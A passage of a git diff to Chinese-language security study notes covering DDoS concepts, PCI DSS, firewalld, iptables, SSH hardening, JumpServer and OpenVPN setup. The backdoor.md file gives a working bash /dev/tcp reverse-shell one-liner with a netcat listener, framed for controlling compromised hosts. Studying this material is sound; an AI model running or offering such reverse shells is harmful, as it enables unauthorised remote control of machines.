Attack (Distributed Denal of Service) +03. Waterhole Attack 水坑式攻击 +04. Fake WAP 虚假网页 +05. Eavesdropping 网络窃听 +06. Phishing 网络钓鱼 +07. Virus 病毒 +08. Clicjjacking 点击劫持 +09. Cookie theft 窃取Cookie 10. Bait and Switch 诱取和开关 ## DDos + - 定义: 通过占用服务的网络资源、连接资源,让服务应接不暇,从而拒绝正常的流量。 + ### 针对IP协议攻击 + 1. ICMP flood - - 通过发送ICMP协议数据包,占用目标的带宽资源。 - - ping产生的是ICMP协议包,ICMP是IP协议中用来进行差错控制的一个补充 + - 通过发送ICMP协议数据包,占用目标的带宽资源。 + - ping产生的是ICMP协议包,ICMP是IP协议中用来进行差错控制的一个补充 ### 针对UDT协议攻击 + 2. UDT flood - - 通过发送UDT数据包,占用目标的带宽资源。 - - UDT flood增强版 - 1. IP伪造 - - 更改数据包的发送地址。 - 2. 反射攻击 - - 更改数据包的接收地址。将数据包发送到第三方机器,第三方机器向接收地址回复数据包。 - - 第三方机器也被称之为“反射器”。 - 3. 放大器 - - 当“反射器”接收到数据包时,会返回更大的数据包。 + - 通过发送UDT数据包,占用目标的带宽资源。 + - UDT flood增强版 + 1. IP伪造 + - 更改数据包的发送地址。 + 2. 反射攻击 + - 更改数据包的接收地址。将数据包发送到第三方机器,第三方机器向接收地址回复数据包。 + - 第三方机器也被称之为“反射器”。 + 3. 放大器 + - 当“反射器”接收到数据包时,会返回更大的数据包。 ### 针对TCP协议攻击 + 1. TCP flood - - 通过和目标构建大量的TCP连接,从而占满目标机器上的TCP连接表。 + + - 通过和目标构建大量的TCP连接,从而占满目标机器上的TCP连接表。 2. SYN flood - - 通过伪造IP/反射器,然后发送给目标机器SYN建立连接的数据包,然后不回复对方的SYN+ACK数据包息,由于TCP里的重传机制,目标机器将多次尝试发送SYN+ACK数据包直到超时。 + + - 通过伪造IP/反射器,然后发送给目标机器SYN建立连接的数据包,然后不回复对方的SYN+ACK数据包息,由于TCP里的重传机制,目标机器将多次尝试发送SYN+ACK数据包直到超时。 3. RST flood - - TCP协议中,一般用4次挥手结束连接,为了防止出现异常,一方可以发送一个RST数据包进行强制切段连接 - - 伪造各种IP地址,发送RST数据包给目标机器,一旦伪造的IP和其它的一些配置和某个正常用户匹配上,就能能够切断正常用户和服务器之间的连接。 - - 例如在一场网络游戏对战中,在获悉对手的IP地址之后,就可以通过此种方式不断切段对手的游戏设备和服务器间的连接,以干扰对方玩家的操作。 + + - TCP协议中,一般用4次挥手结束连接,为了防止出现异常,一方可以发送一个RST数据包进行强制切段连接 + - 伪造各种IP地址,发送RST数据包给目标机器,一旦伪造的IP和其它的一些配置和某个正常用户匹配上,就能能够切断正常用户和服务器之间的连接。 + - 例如在一场网络游戏对战中,在获悉对手的IP地址之后,就可以通过此种方式不断切段对手的游戏设备和服务器间的连接,以干扰对方玩家的操作。 ### 针对HTTP协议攻击 + 1. HTTP flood - - 通过对网站进行特定的访问,使用目标服务并发执行大量的业务代码,从而消耗目标服务器的CPU或内存或IO。例如业务代码可能会执行数据库查询这样的IO操作。 - - 建立了TCP连接,因此不能伪造IP地址,因此需要zombie机器。 + - 通过对网站进行特定的访问,使用目标服务并发执行大量的业务代码,从而消耗目标服务器的CPU或内存或IO。例如业务代码可能会执行数据库查询这样的IO操作。 + - 建立了TCP连接,因此不能伪造IP地址,因此需要zombie机器。 ### 防DDos + 1. 网络设备IP过滤(涉及到用户、服务商、设备商、监管部门,因此难以实现) - - 路由器将数据包源地址IP本不属于所在网络段的数据包都过滤掉。 + + - 路由器将数据包源地址IP本不属于所在网络段的数据包都过滤掉。 2. 通过CDN技术 3. 流量清洗设备 - diff --git a/secure/certificate.md b/secure/certificate.md index bec363f..3fef7ba 100644 --- a/secure/certificate.md +++ b/secure/certificate.md @@ -1,43 +1,57 @@ +--- +created_date: 2021-05-18 +--- + +[TOC] + ## PCI DSS -1. 参考 - - https://www.zhihu.com/question/19728744 - - https://baike.baidu.com/item/PCI%20DSS - - https://www.pcisecuritystandards.org/ 组织官网 - - https://stripe.com/zh-cn-cz/guides/pci-compliance + +1. 参考 + + - https://www.zhihu.com/question/19728744 + - https://baike.baidu.com/item/PCI%20DSS + - https://www.pcisecuritystandards.org/ 组织官网 + - https://stripe.com/zh-cn-cz/guides/pci-compliance 2. PCI DSS - - 支付卡行业数据安全标准 - - 支付卡行业(PCI,Payment Card Industry) - - 数据安全标准(DSS,Data Security Standard) + + - 支付卡行业数据安全标准 + - 支付卡行业(PCI,Payment Card Industry) + - 数据安全标准(DSS,Data Security Standard) 3. PCI-DSS认证 - - PCI 合规级别有 4 个 - - 级别一 必须通过自我安全检测、漏洞分析以及由协会执行的安全调查这三个步骤,审查范围包括硬件、软件、工作流程、员工、用户等诸多内容,总共有200项审查项目。 + + - PCI 合规级别有 4 个 + - 级别一 必须通过自我安全检测、漏洞分析以及由协会执行的安全调查这三个步骤,审查范围包括硬件、软件、工作流程、员工、用户等诸多内容,总共有200项审查项目。 ### 获取认证策略 + - 进行网络隔离,缩小审核范围。 ### 数据安全标准 – 主要概述 -建立并维护安全的网络和系统 -1. 安装并维护防火墙配置以保护持卡人数据 -2. 不要使用供应商提供的默认系统密码和其他安全参数 -保护持卡人数据 -3. 保护存储的持卡人数据 -4. 加密持卡人数据在开放式公共网络中的传输 -维护漏洞管理计划 -5. 为所有系统提供恶意软件防护并定期更新杀毒软件或程序 -6. 开发并维护安全的系统和应用程序 -实施强效访问控制措施 -7. 按业务知情需要限制对持卡人数据的访问 -8. 识别并验证对系统组件的访问 -9. 限制对持卡人数据的物理访问 -定期监控并测试网络 + +建立并维护安全的网络和系统 + +01. 安装并维护防火墙配置以保护持卡人数据 +02. 不要使用供应商提供的默认系统密码和其他安全参数 + 保护持卡人数据 +03. 保护存储的持卡人数据 +04. 加密持卡人数据在开放式公共网络中的传输 + 维护漏洞管理计划 +05. 为所有系统提供恶意软件防护并定期更新杀毒软件或程序 +06. 开发并维护安全的系统和应用程序 + 实施强效访问控制措施 +07. 按业务知情需要限制对持卡人数据的访问 +08. 识别并验证对系统组件的访问 +09. 限制对持卡人数据的物理访问 + 定期监控并测试网络 10. 跟踪并监控对网络资源和持卡人数据的所有访问 11. 定期测试安全系统和流程 -维护信息安全政策 + 维护信息安全政策 12. 维护针对所有工作人员的信息安全政策 ### 巡检 + - 至少每个季度运行一次内部和外部网络漏洞扫描 - 每年至少执行一次外部穿透测试 - 至少每年执行一次内部穿透测试 @@ -46,10 +60,12 @@ - 需要将安全事件(防病毒、入侵、文件完整性、帐号登陆)纳入到日常监控中 ## CIS + Center for Internet Security 是一非盈利组织。 -CIS Controls和CIS Benchmarks是保护IT系统和数据免受最普遍***的全球标准和公认的最佳实践。 +CIS Controls和CIS Benchmarks是保护IT系统和数据免受最普遍\*\*\*的全球标准和公认的最佳实践。 ## ISO17799-27001 ## PFI -- \ No newline at end of file + +- diff --git a/secure/defence.md b/secure/defence.md index d1c17a3..5f47e9f 100644 --- a/secure/defence.md +++ b/secure/defence.md @@ -1,19 +1,32 @@ +--- +created_date: 2021-07-23 +--- + +[TOC] + ## 安全产品 + ### 防火墙 + - 功能:主要是通过对 IP:port 的限制访问,来保障安全。 ### IDS + - 入侵检测系统 Intrusion Detection Systems - 功能:主要是通过监控分析网络流量活动,提供分析报告。 ### IPS + - 入侵防御系统 + - 按其用途划分为单机入侵预防系统(HIPS)和网络入侵预防系统(NIPS: Network Intrusion Prevension System) + - 主要是通过定义N种已知的攻击模式,分析数据包内容,根据模式匹配去阻断非法访问。 - 缺陷:默认开放所有的访问,只有自己认识的访问,才进行阻断。 ### 主动安全类 + - 协议针对性非常强。可以监控应用业务层级的访问,对于不认识的业务访问全部隔离。 - WAF 专门负责HTTP协议的安全处理。 - DAF 专门负责数据库Sql 查询类的安全处理。 diff --git a/secure/jumpserver.md b/secure/jumpserver.md index a81e6af..6e00f8b 100644 --- a/secure/jumpserver.md +++ b/secure/jumpserver.md @@ -1,51 +1,71 @@ +--- +created_date: 2021-07-02 +--- + +[TOC] - JumpServer + ## 概览 -- Github https://github.com/jumpserver +- Github https://github.com/jumpserver + - 官网 飞致云 https://jumpserver.org/ + - 文档 https://docs.jumpserver.org/zh/v3/guide/index_description/ + - 公司 https://fit2cloud.com/ -- 个人博客安装V2版本文档 https://segmentfault.com/a/1190000015086911 +- 个人博客安装V2版本文档 https://segmentfault.com/a/1190000015086911 - JumpServer是全球首款开源的堡垒机,是符合 4A 规范的专业运维安全审计系统。 - 1. 身份验证 Authentication - 2. 账号管理 Account - 3. 授权控制 Authorization - 4. 安全审计 Audit + + 1. 身份验证 Authentication + 2. 账号管理 Account + 3. 授权控制 Authorization + 4. 安全审计 Audit - 背景 - - 老广 <广宏伟> JumpServer 创始人 - - JumpServer 发布于 2014 年,此后一直保持着每月更新一个大版的速度持续迭代 - - JumpServer 遵循 GPL v 2.0 开源许可协议 - - JumpServer 开发语言为Python / Django。 + + - 老广 \<广宏伟> JumpServer 创始人 + - JumpServer 发布于 2014 年,此后一直保持着每月更新一个大版的速度持续迭代 + - JumpServer 遵循 GPL v 2.0 开源许可协议 + - JumpServer 开发语言为Python / Django。 ## 安装 + - 依赖软件 - - Linux操作系统 - - MySQL 3306 - - Redis 6379 - - python3和python虚拟环境 - - Jumpserver 8080 - - 安装依赖 - - 配置 - - 启动 ./jumpserver/jms start - - 通过浏览器访问 http://127.0.0.1:8080 默认账号admin,密码admin - - - coco (ssh server 和 websocket server) 老版本 - - 载入python虚拟环境,下载源码 - - 安装依赖 - - 配置 - - 启动 ./coco/cocod start - - ssh端口 2222 ws端口5000 - - 通过终端访问 - ```bash - ssh admin@${IP} -p2222 - ``` - - koko (ssh server 和 websocket server) 新版本基于go语言重构 + - Linux操作系统 + + - MySQL 3306 + + - Redis 6379 + + - python3和python虚拟环境 + + - Jumpserver 8080 + + - 安装依赖 + - 配置 + - 启动 ./jumpserver/jms start + - 通过浏览器访问 http://127.0.0.1:8080 默认账号admin,密码admin + + - coco (ssh server 和 websocket server) 老版本 + + - 载入python虚拟环境,下载源码 + - 安装依赖 + - 配置 + - 启动 ./coco/cocod start + - ssh端口 2222 ws端口5000 + - 通过终端访问 + ```bash + ssh admin@${IP} -p2222 + ``` + + - koko (ssh server 和 websocket server) 新版本基于go语言重构 ## 企业版 + - 相比 JumpServer 开源版,JumpServer 企业版提供面向企业级应用场景的 X-Pack 增强包,以及高等级的原厂企业级支持服务,有效助力企业快速构建并运营自己的运维安全审计系统。 ```bash @@ -65,47 +85,56 @@ ``` ## 功能 + ### 控制台 + 1. 仪表盘 2. 用户管理 - 1. 用户列表 - 2. 用户组 - 3. 角色列表: 定义可以访问JumpServer的哪些功能菜单 (X-Pack) + + 1. 用户列表 + 2. 用户组 + 3. 角色列表: 定义可以访问JumpServer的哪些功能菜单 (X-Pack) 3. 资产管理 - 1. 资产列表: 资产导入,云扫描。 (云扫描 X-Pack)(教程https://kb.fit2cloud.com/?p=4e54d4cc-259d-4cd1-9cd0-c99b3998ccac) - 2. 标签列表: 根据需求设置标签。 + + 1. 资产列表: 资产导入,云扫描。 (云扫描 X-Pack)(教程https://kb.fit2cloud.com/?p=4e54d4cc-259d-4cd1-9cd0-c99b3998ccac) + 2. 标签列表: 根据需求设置标签。 4. 账号管理 - 1. 账号模版: 登记服务器的账号密码。 - 2. 账号收集: 收集每台服务器的所有账号。 (X-Pack) - 3. 账号改密: 定期更新每台服务器账号的密钥。 (X-Pack) - 4. 账号备份: 定期备份服务器账号密钥。 (X-Pack) + + 1. 账号模版: 登记服务器的账号密码。 + 2. 账号收集: 收集每台服务器的所有账号。 (X-Pack) + 3. 账号改密: 定期更新每台服务器账号的密钥。 (X-Pack) + 4. 账号备份: 定期备份服务器账号密钥。 (X-Pack) 5. 权限管理 - 1. 资产授权: 对用户/用户组和服务器进行关联,默认无关联。 - 2. 用户登入: 对用户登入JumpServer的IP和时间段进行限制,默认无限制。 - 3. 命令过滤: 禁止在服务器上执行一些指令。 - 4. 资产登录: 对用户登入服务器的源IP和时间段进行限制。 (X-Pack) - 5. 连接方式: 对用户登入服务器的连接方式进行限制。 (X-Pack) + + 1. 资产授权: 对用户/用户组和服务器进行关联,默认无关联。 + 2. 用户登入: 对用户登入JumpServer的IP和时间段进行限制,默认无限制。 + 3. 命令过滤: 禁止在服务器上执行一些指令。 + 4. 资产登录: 对用户登入服务器的源IP和时间段进行限制。 (X-Pack) + 5. 连接方式: 对用户登入服务器的连接方式进行限制。 (X-Pack) ### 设置 -1. 基本设置:当前站点URL -2. 组织管理 -3. 消息通知: 邮箱设置,短信设置,消息订阅 -4. 功能设置 -5. 认证设置 -6. 组件设置: 组件管理、录像存储、命令存储 -7. 远程应用 -8. 安全设置: 认证安全、登录限制、密码安全、会话安全 -9. 界面设置 (X-Pack) + +01. 基本设置:当前站点URL +02. 组织管理 +03. 消息通知: 邮箱设置,短信设置,消息订阅 +04. 功能设置 +05. 认证设置 +06. 组件设置: 组件管理、录像存储、命令存储 +07. 远程应用 +08. 安全设置: 认证安全、登录限制、密码安全、会话安全 +09. 界面设置 (X-Pack) 10. 系统工具 11. 系统任务 12. 许可证 ## 配置 + - vim jumpserver/config/config.txt + ```conf CHANGE_AUTH_PLAN_SECURE_MODE_ENABLED=False # 允许修改特权账号 ``` @@ -115,9 +144,10 @@ CHANGE_AUTH_PLAN_SECURE_MODE_ENABLED=False # 允许修改特权账号 ./jmsctl.sh status ``` - ## 其他 + ### 在服务器内修改用户密码 + ```bash # 进入 jms_core 容器内 docker exec -it jms_core /bin/bash @@ -126,4 +156,14 @@ cd apps/ # 修改admin密码 python manage.py changepassword admin +``` + +### 登入放松 +```bash +ssh jumpserverUsername@systemUsername@AssetIP@jumpserverHostIP -p2222 +# 解释: +# jumpserverUsername:登录 JumpServer 的用户 +# systemUsername:连接资产指定的系统用户 +# AssetIP:指定要连接的资产IP +# jumpserverHostIP:JumpServer 服务 IP ``` \ No newline at end of file diff --git a/secure/learn.md b/secure/learn.md index 42b5969..c9d1db4 100644 --- a/secure/learn.md +++ b/secure/learn.md @@ -1,61 +1,83 @@ +--- +created_date: 2025-01-02 +--- + +[TOC] + # 安全学习训练平台 -1. bWAPP + +01. bWAPP + - www.itsecgameses.com - 免费和开源的web应用程序安全项目。有助于安全爱好者及研究人员发现和防止web漏洞。 -2. DVIA +02. DVIA + - damnvulnerableiosapp.com - 一个IOS的安全应用。给移动安全爱好者学习IOS的渗透测试技巧提供一个合法的平台。 -3. DVWA +03. DVWA + - dvwa.co.uk - 基于php和mysql的虚拟Web应用。内置常见的Web漏洞,如SQL注入、xss之类,可以搭建在自己的电脑上。 -4. Game of Hacks +04. Game of Hacks + - www.gameofhacks.com - 基于游戏的方式来测试你的安全技术。每个任务题目提供了大量的代码,其中可能有也可能没有安全漏洞。 -5. Google Gruyere +05. Google Gruyere + - https://google-gruyere.appspot.com/ - 一个看起来很low的网站,但充满了漏洞,目的是为了帮助那些刚开始学习应用程序安全性的人员。 -6. HackThis +06. HackThis + - defendtheweb.net - 教你如何破解、转储和涂改以及保护网站的黑客技巧,提供超过50种不同的难度水平。 -7. Hack This Site +07. Hack This Site + - www.hackthelsslte.org - 一个合法和安全的测试黑客技能的网站,并包含黑客咨询、文章、论坛和教程,旨在帮助你学习黑客技术。 -8. Hellbound Hackers +08. Hellbound Hackers + - hbh.sh/home - 提供各种各样的安全实践方法和挑战,目的是教你如何识别攻击和代码的补丁建议。主题包括应用程序加密和破解,社工和rooting。 - 社区有接近10万的注册成员,是最大的一个黑客社区之一。 -9. McAfee HacMe Sites +09. McAfee HacMe Sites + - https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html - 提供各类黑客及安全测试工具。 10. Mutillidae + - sourceforge.net/projects/mutillidae - 是一个免费,开源的Web应用程序。提供专门被允许的安全测试和入侵的Web应用程序,其中包含了丰富的渗透测试项目,如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等。 11. OverTheWire + - overthewire.org/wargames - 基于游戏的让你学习安全技术和概念的黑客网站。 12. Try2Hack + - 最古老的黑客网站之一,提供多种安全挑战。 13. i春秋 + - ichunqiu.com/maim - 中国比较好的安全知识和线上学习平台,把复杂的操作系统、工具和网络环境完全的在网页进行重现。 14. XCFT_OJ + - adworld.xctf.org.cn - 中国安全练习平台,汇集全世界CTF网络安全竞赛的真题题库。 - 目前全球CFT社区唯一一个提供赛题重现复盘练习环境的站点资源。 15. HawkEye鹰眼系统 + - hackingglab.cn/index.php - 网络信息安全攻防学习平台。提供基础知识考查、漏洞实战演练、教程等资料。实战演练以Web题为主。 diff --git a/secure/linux/backdoor.md b/secure/linux/backdoor.md index 0b24e7d..b501d63 100644 --- a/secure/linux/backdoor.md +++ b/secure/linux/backdoor.md @@ -1,17 +1,27 @@ +--- +created_date: 2020-12-06 +--- + +[TOC] + ## 后门 -- 参考 -https://xz.aliyun.com/t/2549 + +- 参考\ + https://xz.aliyun.com/t/2549 + ### 反弹shell + 1. 意义 - 1. 局域网内肉鸡无法被连接。 - 2. 肉鸡ip会动态改变,不能持续控制。 - 3. 防火墙等限制,肉鸡只能发送请求,不能接收请求。 - 4. 肉鸡网络环境未知,主动连接,省事。 + 1. 局域网内肉鸡无法被连接。 + 2. 肉鸡ip会动态改变,不能持续控制。 + 3. 防火墙等限制,肉鸡只能发送请求,不能接收请求。 + 4. 肉鸡网络环境未知,主动连接,省事。 2. 实现 + ```bash # 我方服务器执行 nc -lvp 2333 # 肉鸡上执行 IP=127.0.0.1 bash -i >& /dev/tcp/${IP}/2333 0>&1 -``` \ No newline at end of file +``` diff --git a/secure/linux/firewalld.md b/secure/linux/firewalld.md index 487e7c4..14b123e 100644 --- a/secure/linux/firewalld.md +++ b/secure/linux/firewalld.md @@ -1,5 +1,13 @@ +--- +created_date: 2020-12-06 +--- + +[TOC] + ## firewalld + ### 概念 + - Redhat Enterprise Linux7已经默认使用firewalld作为防火墙 - 被封装过的iptables @@ -7,16 +15,17 @@ - firewall划分不同的区域,不同的区域里可以指定不同的规则,不同的网卡可以指定使用不同的firewall区域,默认为public区域。 - 服务 - systemctl status firewalld.service + systemctl status firewalld.service ### firewall-cmd -- 参数 ---permanent 永久设置 ---runtime-to-permanent 将当前运行时的配置写入规则配置文件中,使当前内存中的规则为永久性配置。 +- 参数 + --permanent 永久设置 + --runtime-to-permanent 将当前运行时的配置写入规则配置文件中,使当前内存中的规则为永久性配置。 1. 区域相关操作 -默认情况下,默认区域是public + 默认情况下,默认区域是public + ```bash firewall-cmd --get-default-zone # 查看默认区域 firewall-cmd --set-default-zone=home # 配置默认区域 @@ -24,7 +33,9 @@ firewall-cmd --get-active-zones # firewall-cmd --permanent --new-zone=${zone-name} # 创建一个区域 ``` + 2. 查看防火墙规则 + ```bash # 查看防火墙规则(只显示/etc/firewalld/zones/public.xml中防火墙策略) firewall-cmd --list-all @@ -36,11 +47,12 @@ firewall-cmd --list-all-zones firewall-cmd --query-port=8080/tcp ``` -3. 要想使配置的端口号生效,必须重新载入 -firewall-cmd --reload +3. 要想使配置的端口号生效,必须重新载入 + firewall-cmd --reload + +4. 开放端口或服务 `最后记得重载配置才生效 firewall-cmd --reload` -4. 开放端口或服务 ``最后记得重载配置才生效 firewall-cmd --reload`` -``` bash +```bash # 开放80端口 和 移除端口 firewall-cmd --permanent --add-port=80/tcp firewall-cmd --permanent --remove-port=8080/tcp @@ -52,6 +64,7 @@ firewall-cmd --remove-service=${service} # 移除服务 ``` 5. rich-rule + ```bash # 允许指定ip访问指定端口 port=22 @@ -59,12 +72,14 @@ ip=127.0.0.1 firewall-cmd --add-rich-rule="rule family=ipv4 source address=${ip} port protocol=tcp port=${port} accept"# 允许${ip}主机访问${port}端口 # --remove-rich-rule 删除 ``` + 6. 端口转发 -firewall-cmd --permanent --add-forward-port=port=80:proto=tcp:toport=8080:toaddr=134.175.167.56 + firewall-cmd --permanent --add-forward-port=port=80:proto=tcp:toport=8080:toaddr=134.175.167.56 7. 应急模式 + ```bash firewall-cmd --panic-on # 拒绝所有流量,远程连接会立即断开,只有本地能登陆 firewall-cmd --panic-off # 取消应急模式,但需要重启firewalld后才可以远程ssh firewall-cmd --query-panic # 查看是否为应急模式 -``` \ No newline at end of file +``` diff --git a/secure/linux/iptables.md b/secure/linux/iptables.md index 30924ba..1360527 100644 --- a/secure/linux/iptables.md +++ b/secure/linux/iptables.md @@ -1,38 +1,45 @@ +--- +created_date: 2020-12-06 +--- + +[TOC] ## iptables + - Linux的2.4版内核引入了一种全新的网络包处理引擎Netfilter,能为其它内核模块提供数据包过滤、网络地址转换、负载均衡等功能。 - iptables 命令是与Netfilter 系统进行交互的主要工具,用于提供数据包过滤和NAT。 - 基于“过滤规则链”的概念来阻止或转发流量。 - ip set 是linux内核的一个内部框架,ipset是iptables的扩展。 ### 命令 -- iptables -t ${tabletype} ${action_direction} ${direction} ${packet_pattern} -j ${what_to_do} -1. ${tabletype} 总共4张表,每张表提供了特定的功能,默认为filter表。使用方式 ``-t ${tabletype}`` - - filter - - nat - - mangle - - raw + +- iptables -t ${tabletype} ${action_direction} ${direction} ${packet_pattern} -j ${what_to_do} + +1. ${tabletype} 总共4张表,每张表提供了特定的功能,默认为filter表。使用方式 `-t ${tabletype}` + - filter + - nat + - mangle + - raw 2. ${direction} 5个方向(五链) (每个链都代表了数据需要经过的地点) - 1. PREROUTING 路由前的数据包 - 2. FORWARD 转发的数据包 - 3. INPUT 进入的数据包 - 4. OUTPUT 传出的数据包 - 5. POSTROUTING 路由后的数据包 -3. ${action_direction} 匹配到规则后,停止搜索,因此前面的规则权重大于后面的规则 - - -I 在规则链头部添加一个规则 - - -A 在规则链末尾添加一个规则 - - -D 从规则链删除一个规则 - - -L 显示规则链上当前配置的规则 - - -F 删除当前iptables链上的全部规则 + 1. PREROUTING 路由前的数据包 + 2. FORWARD 转发的数据包 + 3. INPUT 进入的数据包 + 4. OUTPUT 传出的数据包 + 5. POSTROUTING 路由后的数据包 +3. ${action_direction} 匹配到规则后,停止搜索,因此前面的规则权重大于后面的规则 + - -I 在规则链头部添加一个规则 + - -A 在规则链末尾添加一个规则 + - -D 从规则链删除一个规则 + - -L 显示规则链上当前配置的规则 + - -F 删除当前iptables链上的全部规则 4. ${packet_pattern} 筛选需要进行检查的数据包 - 1. -s 检查所有的数据包,确定它的源IP地址 - 2. ... + 1. -s 检查所有的数据包,确定它的源IP地址 + 2. ... 5. -j ${what_to_do} - 1. DROP 丢弃数据包 - 2. REJECT 丢弃数据包,且向请求计算机发送一个错误消息 - 3. ACCEPT 对数据包进行-A选项相关动作的操作 - 4. REDIRECT 重定向,主要用于实现端口重定向 - + 1. DROP 丢弃数据包 + 2. REJECT 丢弃数据包,且向请求计算机发送一个错误消息 + 3. ACCEPT 对数据包进行-A选项相关动作的操作 + 4. REDIRECT 重定向,主要用于实现端口重定向 ```bash # -p 指定协议, -p all 代表所有协议 @@ -84,13 +91,17 @@ iptables -F # 清空所有表格的所有链 ``` ### multiport扩展 + - 以离散方式定义多端口匹配;最多匹配指定15个端口 + ```bash iptables -I INPUT -p tcp -m multiport --dport 8545,8546 -j DROP ``` ### iprange扩展 + - 指明连续的(但一般是不能扩展为整个网络)ip地址范围时使用. + ```bash # 指明连续的(但一般是不能扩展为整个网络)ip地址范围时使用 –src-range from[-to] # 指明连续的源ip地址范围 @@ -100,7 +111,9 @@ iptables -I INPUT -m iprange –src-range 192.168.1.1-192.168.1.10 -j DROP ``` ### time扩展 + - 根据报文到达的时间与指定的时间范围进行匹配 + ```bash iptables -I INPUT -p tcp --dport 8545 -m time –timestart 00:00 –timestop 12:00 -j DROP –datestart @@ -111,6 +124,7 @@ iptables -I INPUT -p tcp --dport 8545 -m time –timestart 00:00 –timestop 12: ``` ### ipset扩展 + - ipset hash类型的集合默认大小为1024。当在iptables/ip6tables中使用了ipset hash类型的集合,则该集合将不能再新增条目。 ```bash diff --git a/secure/linux/login.md b/secure/linux/login.md index 9efd198..e4553ca 100644 --- a/secure/linux/login.md +++ b/secure/linux/login.md @@ -1,20 +1,31 @@ +--- +created_date: 2021-07-23 +--- + +[TOC] + ## 配置讲解 + ### /etc/sudoer + - root ALL=(ALL) ALL - - 第一个ALL 允许哪个终端、机器访问 sudo - - 第二个ALL 允许sudo以哪个用户的身份执行命令 - - 第三个ALL 允许用户以root身份执行什么命令 + - 第一个ALL 允许哪个终端、机器访问 sudo + - 第二个ALL 允许sudo以哪个用户的身份执行命令 + - 第三个ALL 允许用户以root身份执行什么命令 ### /etc/shadow + - gary:$1$2Uu6yiEE$m4Pj3bKxVd9oLA74jj4F0/:18364:0:99999:7::: - - 第一列 用户名 - - 第二列 被加密过的密码;‘ * ’或者是‘ ! ’表示这个用户无法进行登录操作。 - - 第三列 密码最近变更的时间;1970年1月1日作为1,每过一天加1; - - 第四列 重设密码后多少天内密码不可再次被更动 - - 第八列 账户哪一天失效 + - 第一列 用户名 + - 第二列 被加密过的密码;‘ * ’或者是‘ ! ’表示这个用户无法进行登录操作。 + - 第三列 密码最近变更的时间;1970年1月1日作为1,每过一天加1; + - 第四列 重设密码后多少天内密码不可再次被更动 + - 第八列 账户哪一天失效 ### PAM(Pluggable Authentication Modules) + - /etc/ssh/sshd_config 默认是开启状态“UsePAM yes” + ```conf Port 22960 # 设置sshd监听端口 LoginGraceTime 30 @@ -23,6 +34,7 @@ PermitRootLogin no # 禁止root登入 ``` - pam_tally2 + ```bash # 禁止/etc/ssh/denyuser文件内的用户通过ssh登录 vim /etc/pam.d/sshd @@ -41,13 +53,17 @@ auth required pam_tally2.so deny=3 unlock_time=60 even_deny_root root_unlock_tim ``` ## First Machine + 1. 创建用户 + ```bash username=gary useradd ${username} passwd ${username} ``` + 2. Centos普通用户免密sudo + ```bash chmod u+w /etc/sudoers # 设置可以sudo但需要密码 @@ -64,13 +80,16 @@ admin2 ALL=(root) /usr/bin/apt ``` 3. 禁止root登入 + ```bash vim /etc/ssh/sshd_config ``` + ```conf Port 22960 # 设置sshd监听端口 PermitRootLogin no # 禁止Root用户远程登入 ``` + ```bash systemctl restart sshd -``` \ No newline at end of file +``` diff --git a/secure/proxy/openvpn.md b/secure/proxy/openvpn.md index ded863b..af8581d 100644 --- a/secure/proxy/openvpn.md +++ b/secure/proxy/openvpn.md @@ -1,9 +1,16 @@ +--- +created_date: 2025-03-12 +--- + +[TOC] + - Openvpn - 参考 - - 官方 https://openvpn.net/access-server-manual/deployment-overview/ - - https://www.wanhebin.com/openvpn/639.html + - 官方 https://openvpn.net/access-server-manual/deployment-overview/ + - https://www.wanhebin.com/openvpn/639.html ## 安装 + ```bash # Centos系统 # 安装epel 仓库源 @@ -15,6 +22,7 @@ yum install easy-rsa openvpn echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf ``` + ```bash # Ubuntu系统 apt-get install openvpn @@ -27,11 +35,14 @@ openvpn --ca /etc/openvpn/client/ca.crt --config /etc/openvpn/client/client.ovpn ``` ## 使用openVPN自带的http-proxy作代理 + - OpenVPN本身可以使用http代理,也就是说,OpenVPN客户端不是直接和OpenVPN服务器连接,而是使用http代理进行连接。这个特性是OpenVPN的外围特性,不是其核心的,然而却能解决很多实际问题,它相当于隧道外面又套了一个隧道,不过这个外面的隧道并不是真实的隧道,因为它并没有封装,而仅仅是伪装了端口信息而已。 -- OpenVPN客户端 --> http代理服务器(squid) --> OpenVPN服务器 +- OpenVPN客户端 --> http代理服务器(squid) --> OpenVPN服务器 ## Openvpn客户端配置 -- *.ovpn + +- \*.ovpn + ```conf client #指定当前VPN是客户端 dev tun #使用tun隧道传输协议 @@ -51,4 +62,4 @@ key client.key #指定当前客户端的私钥文件路径 route-nopull # 不添加路由,也就是不会有任何网络请求走 openvpn 代理 route 192.168.2.0 255.255.255.0 vpn_gateway # 指定网络段才走 openvpn 代理 route 172.121.0.0 255.255.0.0 net_gateway # 与 vpn_gateway 相反,它是指定哪些IP不走 openvpn 代理 -``` \ No newline at end of file +``` diff --git a/secure/proxy/proxy.md b/secure/proxy/proxy.md index 9c63d44..d966f08 100644 --- a/secure/proxy/proxy.md +++ b/secure/proxy/proxy.md @@ -1,9 +1,16 @@ +--- +created_date: 2025-03-12 +--- + +[TOC] + # 代理 + - 正向代理和透明代理的服务对象是客户端,反向代理代理的服务对象是服务端 -1. 正向代理 - 1. 正向代理是部署在客户端侧的代理服务器,代表客户端向目标服务器发送请求,并将响应返回给客户端。 +1. 正向代理 + 1. 正向代理是部署在客户端侧的代理服务器,代表客户端向目标服务器发送请求,并将响应返回给客户端。 2. 透明代理 - 1. 透明代理部署在客户端侧,但客户端无需主动配置,网络设备(如路由器或网关)会自动将流量转发到代理服务器。 + 1. 透明代理部署在客户端侧,但客户端无需主动配置,网络设备(如路由器或网关)会自动将流量转发到代理服务器。 3. 反向代理 - 1. 反向代理是部署在服务端侧的代理服务器,接收客户端的请求后,将其转发给后端的目标服务器,并将响应返回给客户端。 \ No newline at end of file + 1. 反向代理是部署在服务端侧的代理服务器,接收客户端的请求后,将其转发给后端的目标服务器,并将响应返回给客户端。 diff --git a/secure/proxy/proxy_buy.md b/secure/proxy/proxy_buy.md index 85c3422..f287732 100644 --- a/secure/proxy/proxy_buy.md +++ b/secure/proxy/proxy_buy.md @@ -1,31 +1,43 @@ +--- +created_date: 2025-03-12 +--- + +[TOC] + # 商家 + ## v2ray商家 1 + - 下载客户端 - - windows https://www.opai.xin/v2rayN.rar - - mac https://www.opai.xin/V2rayU.dmg - - androud https://www.opai.xin/v2rayNG.html + - windows https://www.opai.xin/v2rayN.rar + - mac https://www.opai.xin/V2rayU.dmg + - androud https://www.opai.xin/v2rayNG.html - 剩余流量查询 https://www.opai.xin/url/ ## Clash商家 1 + - 商家 